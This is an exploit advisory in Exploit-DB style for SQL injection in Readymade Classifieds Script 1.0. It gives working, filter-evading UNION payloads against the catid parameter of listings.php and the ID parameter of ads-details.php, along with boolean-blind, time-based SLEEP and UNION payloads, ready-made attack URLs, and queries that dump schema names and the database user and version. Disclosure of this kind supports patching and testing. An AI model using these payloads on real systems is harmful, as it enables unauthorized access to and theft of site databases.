Readymade Classifieds Script 1.0 SQL Injection

`# # # # #   
# Exploit Title: Readymade Classifieds Script 1.0 - SQL Injection  
# Dork: N/A  
# Date: 02.12.2017  
# Vendor Homepage: http://www.scubez.net/  
# Software Link: http://www.posty.in/index.html  
# Demo: http://www.posty.in/readymade-classifieds-demo.html  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
#   
# http://localhost/[PATH]/listings.php?catid=[SQL]  
#   
# -1++/*!08888UNION*/((/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)))--+-  
#   
# Parameter: catid (GET)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
# Payload: catid=-7326' OR 9205=9205#  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: catid=' AND SLEEP(5)-- tCbs  
#   
# 2)  
#   
# http://localhost/[PATH]/ads-details.php?ID=[SQL]  
#   
# -265++/*!08888UNION*/(/*!08888SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26))--+-  
#   
# Parameter: ID (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: ID=265 AND 4157=4157  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: ID=265 AND SLEEP(5)  
#   
# Type: UNION query  
# Title: Generic UNION query (NULL) - 26 columns  
# Payload: ID=-5939 UNION ALL SELECT NULL,NULL,CONCAT(0x716a626271,0x664f68565771437a5444554e794f547462774e65574f43616b767945464c416d524b646f48675a67,0x71787a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZIaY  
#   
# Etc..  
# # # # #  
  
  
  
  
http://server/listings.php?catid=-1++/*!08888UNION*/((/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)))--+-  
  
http://server/ads-details.php?ID=-265++/*!08888UNION*/(/*!08888SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26))--+-  
  
  
`